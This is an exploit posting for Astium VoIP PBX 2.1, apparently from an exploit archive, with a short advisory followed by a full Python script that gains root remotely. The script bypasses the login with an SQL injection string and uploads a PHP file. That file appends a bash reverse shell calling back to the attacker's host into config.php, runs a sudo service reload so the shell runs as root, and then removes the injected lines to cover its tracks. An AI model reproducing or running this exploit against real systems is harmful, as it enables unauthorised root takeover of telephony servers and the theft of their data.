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Astium VoIP PBX 2.1 Remote Root

Astium VoIP PBX 2.1 Remote Root
Posted Jan 2, 2013
Authored by xistence

Astium is prone to multiple vulnerabilities. This exploit uses SQL injection to bypass authentication on the login page and get access as an administrator. After that it uploads and executes a PHP script that will modify the "/usr/local/astium/web/php/config.php" script with a reverse shell and run a "sudo /sbin/service astcfgd reload". Version 2.1 build 25399 is affected.

tags | exploit, web, shell, local, php, vulnerability, sql injection
SHA-256 | a8bfed2b6a0488de9a6ded9c5bfe3e6d3e1e35ff053af72f599d8824a3f99a99

Astium VoIP PBX 2.1 Remote Root

Change Mirror Download
#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit
# Date : 01-02-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren/?lang=en
# Vendor site : http://www.oneip.nl/
# Version : v2.1 build 25399
# Tested on : CentOS 5.x 32-bit
#

# Vulnerability : Astium is prone to multiple vulnerabilities. This exploit will use SQL injection to bypass authentication on the
# login page and get access as an administrator. After that it will upload and execute a PHP script which will modify the
# "/usr/local/astium/web/php/config.php" script with our reverse shell php code and run a
# "sudo /sbin/service astcfgd reload" (Apache user is allowed to restart this service through sudo).
# The service reload will cause the added code in "/usr/local/astium/web/php/config.php" to be executed as root and thus resulting in
# a reverse shell with root privileges.
# Code in "/usr/local/astium/web/php/config.php" is also removed again, else the web interface will stop functioning!
#
# Vendor has been contacted several times since 8-22-2011(!) and promised to fix the issue, but until now hasn't resolved the issue.
#
#+--------------------------------------------------------------------------------------------------------------------------------+

import urllib, urllib2, cookielib
import sys
import random
import mimetools
import mimetypes
from cStringIO import StringIO
import itertools

print "[*] Astium VoIP PBX <= v2.1 build 25399 Multiple Vulns Remote Root Exploit - xistence - xistence[at]0x90[.]nl - 2013-01-02"
if (len(sys.argv) != 4):
print "[*] Usage: " + sys.argv[0] + " <RHOST> <LHOST> <LPORT>"
exit(0)

rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
"""Add a simple field to the form data."""
self.form_fields.append((name, value))
return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):
"""Add a file to be uploaded."""
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return

def __str__(self):
"""Return a string representing the form data, including attached files."""
# Build a list of lists, each containing "lines" of the
# request. Each part is separated by a boundary string.
# Once the list is built, return a string where each
# line is separated by '\r\n'.
parts = []
part_boundary = '--' + self.boundary

# Add the form fields
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

# Add the files to upload
parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)

# Flatten the list and add closing boundary marker,
# then return CR+LF separated data
flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)


# PHP script to write our reverse shell to the /usr/local/astium/web/php/config.php script.
phpScript='''<?php
$f = fopen("/usr/local/astium/web/php/config.php", "a");
fwrite($f, "\\n<?php system('/bin/bash -i >& /dev/tcp/%s/%s 0>&1'); ?>");
fclose($f);
system("sudo /sbin/service astcfgd reload");
// Sleep 1 minute, so that we have enough time for the reload to trigger our reverse shell
sleep(60);
$lines = file('/usr/local/astium/web/php/config.php');
// Delete last 2 lines (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit.
array_pop($lines);
array_pop($lines);
$file = join('', $lines);
$file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');
fputs($file_handle, $file);
fclose($file_handle);
?>''' % (lhost, lport)

# Create a random file with 8 characters
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".php"

# Create the form with simple fields
form = MultiPartForm()
form.add_field('__act', 'submit')

# Add a "fake" file, our simple PHP script.
form.add_file('importcompany', filename, fileHandle=StringIO(phpScript))

# SQL Injection to bypass login
SQLiAuthBypass = "system' OR 1='1"

# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

print "[*] Opening index.php to get Cookies"
# Just open the url to grab the cookies and put them in the jar
resp = opener.open("http://%s/en/content/index.php" %rhost)

print "[*] Sending evil SQLi authentication bypass payload"
# Set our post parameters and bypass the logon.php with our SQL Injection
post_params = urllib.urlencode({'__act' : 'submit', 'user_name' : SQLiAuthBypass, 'pass_word' : 'pwned', 'submit' : 'Login'})
resp = opener.open("http://%s/en/logon.php" %rhost, post_params)

print "[*] Uploading PHP script " + filename + " to inject PHP code in '/usr/local/astium/web/php/config.php' and run a 'sudo /sbin/service astcfgd reload' to create a reverse shell"
# Create our multi-part body + headers file upload request
resp = urllib2.Request("http://%s/en/database/import.php" % rhost)
body = str(form)
resp.add_header('Content-type', form.get_content_type())
resp.add_header('Content-length', len(body))
resp.add_data(body)
request = opener.open(resp).read()

print "[*] Executing remote PHP script. Check your netcat shell. NOTE: this can take up to 1-2 minutes before it spawns a shell\n"
# Simple GET request to execute the script on the remote server
resp = opener.open("http://%s/upload/%s" % (rhost, filename))

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